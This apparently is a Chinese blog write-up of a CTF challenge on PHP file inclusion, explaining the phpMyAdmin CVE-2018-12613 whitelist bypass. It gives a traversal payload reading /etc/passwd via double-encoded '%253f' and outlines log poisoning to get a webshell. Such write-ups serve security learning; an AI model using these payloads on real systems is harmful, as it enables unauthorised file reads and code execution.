文件包含

蒻姬我最开始接触这个 是一道buuoj的web签到题



进入靶机,查看源代码


  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <meta http-equiv="X-UA-Compatible" content="ie=edge">
  7. <title>Document</title>
  8. </head>
  9. <body>
  10. <!--source.php-->
  11. <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
  12. </html>

划重点

进入这个php源

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

再次划重点


  1. if (! empty($_REQUEST['file'])
  2. && is_string($_REQUEST['file'])
  3. && emmm::checkFile($_REQUEST['file'])
  4. ) {
  5. include $_REQUEST['file'];
  6. exit;
  7. } else {
  8. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  9. }
  10. ?>

有思路了

只要通过这个判断就会执行file传递的参数的文件,想到可能时任意文件包含。

通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

  • 再看if中的判断,file参数不为空&&是个字符串&&通过checkFile方法的检验。去看checkFIle方法。
  1. public static function checkFile(&$page)
  2. {
  3. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  4. if (! isset($page) || !is_string($page)) {
  5. echo "you can't see it";
  6. return false;
  7. }
  8. if (in_array($page, $whitelist)) {
  9. return true;
  10. }
  11. $_page = mb_substr(
  12. $page,
  13. 0,
  14. mb_strpos($page . '?', '?')
  15. );
  16. if (in_array($_page, $whitelist)) {
  17. return true;
  18. }
  19. $_page = urldecode($page);
  20. $_page = mb_substr(
  21. $_page,
  22. 0,
  23. mb_strpos($_page . '?', '?')
  24. );
  25. if (in_array($_page, $whitelist)) {
  26. return true;
  27. }
  28. echo "you can't see it";
  29. return false;
  30. }

看,hint.php 在白名单里!

  1. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  2. if (! isset($page) || !is_string($page)) {
  3. echo "you can't see it";
  4. return false;
  5. }

进入hint.php 看到这样一行提示

flag not here, and flag in ffffllllaaaagggg

再回想前面条件,首先必须存在并且是字符串

(必须使函数返回为true才能访问文件)

  1. if (in_array($page, $whitelist)) {
  2. return true;
  3. }
  4. $_page = mb_substr(
  5. $page,
  6. 0,
  7. mb_strpos($page . '?', '?')
  8. );
  9. if (in_array($_page, $whitelist)) {
  10. return true;
  11. }
  12. $_page = urldecode($page);
  13. $_page = mb_substr(
  14. $_page,
  15. 0,
  16. mb_strpos($_page . '?', '?')
  17. );
  18. if (in_array($_page, $whitelist)) {
  19. return true;
  20. }
  21. echo "you can't see it";
  22. return false;

然后判断参数是否在白名单中;

mb_strpos()的作用是查找字符串在另一个字符串中首次出现的位置,即?在前面字符串中出现的位置

而mb_substr()用以截断字符串。

然后和白名单比较。

又重复了一次上面的操作。

这个涉及到phpMyAdmin的一个洞CVE-2018-12613,由于PHP会自动urldecode一次,导致我们提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足if条件,%253f/就会被认为是一个目录,从而include。就有了下面的转化

? --> %3f --> %253f

  1. payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg

关于cve-2018-12613-PhpMyadmin后台文件包含

2018年6月19日,phpmyadmin在最新版本修复了一个严重级别的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

官方漏洞描述是这样的

  1. An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially
  2. execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded
  3. within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the
  4. "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of,
  5. and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login
  6. requirement and runs the vulnerable code without any authentication).

问题在index.php的55~63:

  1. // If we have a valid target, let's load that script instead
  2. if (! empty($_REQUEST['target'])
  3. && is_string($_REQUEST['target'])
  4. && ! preg_match('/^index/', $_REQUEST['target'])
  5. && ! in_array($_REQUEST['target'], $target_blacklist)
  6. && Core::checkPageValidity($_REQUEST['target'])
  7. ) {
  8. include $_REQUEST['target'];
  9. exit;
  10. }

这里对于参数共有5个判断,判断通过就可以通过Include包含文件

问题出在后两个上

  1. $target_blacklist = array (
  2. 'import.php', 'export.php'
  3. );

以及

Core::checkPageValidity($_REQUEST['target']):

代码在libraries\classes\Core.php的443~476:

  1. public static function checkPageValidity(&$page, array $whitelist = [])
  2. {
  3. if (empty($whitelist)) {
  4. $whitelist = self::$goto_whitelist;
  5. }
  6. if (! isset($page) || !is_string($page)) {
  7. return false;
  8. }
  9. if (in_array($page, $whitelist)) {
  10. return true;
  11. }
  12. $_page = mb_substr(
  13. $page,
  14. 0,
  15. mb_strpos($page . '?', '?')
  16. );
  17. if (in_array($_page, $whitelist)) {
  18. return true;
  19. }
  20. $_page = urldecode($page);
  21. $_page = mb_substr(
  22. $_page,
  23. 0,
  24. mb_strpos($_page . '?', '?')
  25. );
  26. if (in_array($_page, $whitelist)) {
  27. return true;
  28. }
  29. return false;
  30. }

看,这跟上面的代码几乎是一个模子里刻出来的

然后康康验证的白名单whitelist

  1. public static $goto_whitelist = array(
  2. 'db_datadict.php',
  3. 'db_sql.php',
  4. 'db_events.php',
  5. 'db_export.php',
  6. 'db_importdocsql.php',
  7. 'db_multi_table_query.php',
  8. 'db_structure.php',
  9. 'db_import.php',
  10. 'db_operations.php',
  11. 'db_search.php',
  12. 'db_routines.php',
  13. 'export.php',
  14. 'import.php',
  15. 'index.php',
  16. 'pdf_pages.php',
  17. 'pdf_schema.php',
  18. 'server_binlog.php',
  19. 'server_collations.php',
  20. 'server_databases.php',
  21. 'server_engines.php',
  22. 'server_export.php',
  23. 'server_import.php',
  24. 'server_privileges.php',
  25. 'server_sql.php',
  26. 'server_status.php',
  27. 'server_status_advisor.php',
  28. 'server_status_monitor.php',
  29. 'server_status_queries.php',
  30. 'server_status_variables.php',
  31. 'server_variables.php',
  32. 'sql.php',
  33. 'tbl_addfield.php',
  34. 'tbl_change.php',
  35. 'tbl_create.php',
  36. 'tbl_import.php',
  37. 'tbl_indexes.php',
  38. 'tbl_sql.php',
  39. 'tbl_export.php',
  40. 'tbl_operations.php',
  41. 'tbl_structure.php',
  42. 'tbl_relation.php',
  43. 'tbl_replace.php',
  44. 'tbl_row_action.php',
  45. 'tbl_select.php',
  46. 'tbl_zoom_select.php',
  47. 'transformation_overview.php',
  48. 'transformation_wrapper.php',
  49. 'user_password.php',
  50. );

之后phpMyAdmin的开发团队考虑到了target后面加参数的情况,通过字符串分割将问号的前面部分取出,继续匹配白名单,然后经过一遍urldecode后再重复动作。

得到payload

  1. target=db_datadict.php%253f/../../../../../../../../etc/passwd

此处再次分析胡扯文件包含漏洞的具体产生原因

  • 程序员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,文件调用的过程一般被称为文件包含
  • 他们希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
  • 但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
  • 几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多而在JSP、ASP、程序中却非常少,甚至没有,这是本身语言设计的弊端(猜测

Getshell

  • 上传图片GETshell
  • 读取文件,读取php文件
  • 包含日志文件获取webshell
  1. 首先找到文件存放位置

    有权限读取apache配置文件或是/etc/init.d/httpd

    默认位置/var/log/httpd/access_log

  2. 让日志文件插入php代码

    发送url请求时后插入php代码,一般使用burp suite抓包修改

    curl发包

    插入到get请求,或是user-agent部分

  3. 包含日志文件(必须要权限包含)

举个栗子

  1. if (isset($_GET[page])) {
  2. include $_GET[page];
  3. } else {
  4. include "hint.PHP";
  5. }

其中$_GET[page]使用户可以控制变量。如果没有严格的过滤就导致漏洞的出现

代码审计

包含文件的函数

  • include()
  • include_once()
  • require()
  • require_once()

参考链接http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613


暂停一下,摸鱼去了

明天再更qwq

浅谈CVE-2018-12613文件包含/buuojHCTF2018签到题Writeup的更多相关文章

  1. 浅谈 举家搬迁静态文件到CDN

    由于七牛CDN最近做活动,对于标准用户可以免费使用如下优惠 10 GB 存储空间 10 G/月 下载流量 10 万次/月 PUT/DELETE 请求 100 万次/月 GET 请求 以上这些指标直接就 ...

  2. 虚拟化构建二分图(BZOJ2080 题解+浅谈几道双栈排序思想的题)

    虚拟化构建二分图 ------BZOJ2080 题解+浅谈几道双栈排序思想的题 本题的题解在最下面↓↓↓ 不得不说,第一次接触类似于双栈排序的这种题,是在BZOJ的五月月赛上. [BZOJ4881][ ...

  3. 文件识别浅谈(含office文件区分)

    前言 本文主要根据后台接口识别Office文件类型这一话题做一些分享,主要方向还是放在不能获取到文件名情况下的Office文件识别. 可获取到文件名 如果后端接口可以获取到完成的文件名称,则整个过程会 ...

  4. 浅谈log4j-5-读取properties文件(转自godtrue)

    #### 在代码中配置log4j环境的方式,我们已经见识过了,是不是感觉比较麻烦,我们试试使用配置文件的方式是否使您的应用程序更加的灵活.# Log4j支持两种配置文件格式,一种是XML格式的文件,一 ...

  5. 浅谈webuploader上传文件

    官网:http://c7.gg/fw4sn 案例: 文件上传进度 // 文件上传过程中创建进度条实时显示. uploader.on( 'uploadProgress', function( file, ...

  6. 浅谈Python导入外部文件

    import 和 from ... import * 有什么区别? 例如我写了个模块hello.py def print_func(args): print("Hello " + ...

  7. php文件包含漏洞(input与filter)

    php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...

  8. python打造文件包含漏洞检测工具

    0x00前言: 做Hack the box的题.感觉那个平台得开个VIp 不然得凉.一天只能重置一次...mmp 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 看的不错就开发了一个. 0x01代码 ...

  9. 浅谈qmake之pro、pri、prf、prl文件

    浅谈qmake之pro.pri.prf.prl文件 转载自:http://blog.csdn.net/dbzhang800/article/details/6348432 尽管每次和cmake对比起来 ...

随机推荐

  1. (BFS)1097: Yuchang and Zixiang ‘s maze

    1097: Yuchang and Zixiang ‘s maze Time Limit: 2 Sec Memory Limit: 128 MBSubmit: 863 Solved: 149   De ...

  2. windows cmake与nmake

    在Linux下编库经常会使用CMakeLists.txt文件,然后一个cmake 再一个make就可以编译出来. 在Windows下有cmake,但是cmake出来是一个Visual Studio工程 ...

  3. React的React.createContext()源码解析(四)

    一.产生context原因 从父组件直接传值到孙子组件,而不必一层一层的通过props进行传值,相比较以前的那种传值更加的方便.简介. 二.context的两种实现方式 1.老版本(React16.x ...

  4. mybatis--使用接口注解的方式实现Helloword

    首先,创建一个数据库my,并在数据库中插入一张表user,然后在user表中插入一行数据,代码如下: create database my; use my; create table user( id ...

  5. 040_字符串连接符 041_条件运算符目 042_运算符优先级_逻辑与或优先问题 043_自动类型转化 044_强制类型转换 045_基本类型常见错误_溢出_L问题

    040_字符串连接符 package test_package; /** * 字符串运算符 * @author * */public class TestOperator05 { public sta ...

  6. 前端——语言——Core JS——《The good part》读书笔记——第三章节(Object)

    本章介绍对象. 在学习Java时,对象理解为公共事物的抽象,实例为具体的个例,对象为抽象的概念,例如人为抽象的概念,具体的个例为张三,李四. Java对象种类多,包含普通类,JavaBean,注解,枚 ...

  7. 每天进步一点点------SOPC TIMER (一)

    寄存器图 可以通过操作以下的寄存器来实现对timer(定时器)内核的操作(仅描述32位计数器) 状态寄存器: TO(timeout) :计数器计数到0时,该位置1,之后TO位的值会保持,直到手动清零, ...

  8. git密码相关问题

    一.解决:每次都需要输入账号密码 git config --global credential.helper store 二.后期git密码更改后,重置密码操作 git config --system ...

  9. ios中ipa包的发布平台

    目前我所知的平台 1.蒲公英 目前 限制  金融类app  区块链类app的上传,小编的号因此刚被封号,而且交涉无果,不给解封,只有提交工单,包号注销了,再注册一个[建议看一下使用规则] 小编认为, ...

  10. 你了解真正的 restful API 吗?

    本文原创地址,博客:https://jsbintask.cn/2019/03/20/api/restful-api-best-practices/(食用效果最佳),转载请注明出处! 前言 在以前,一个 ...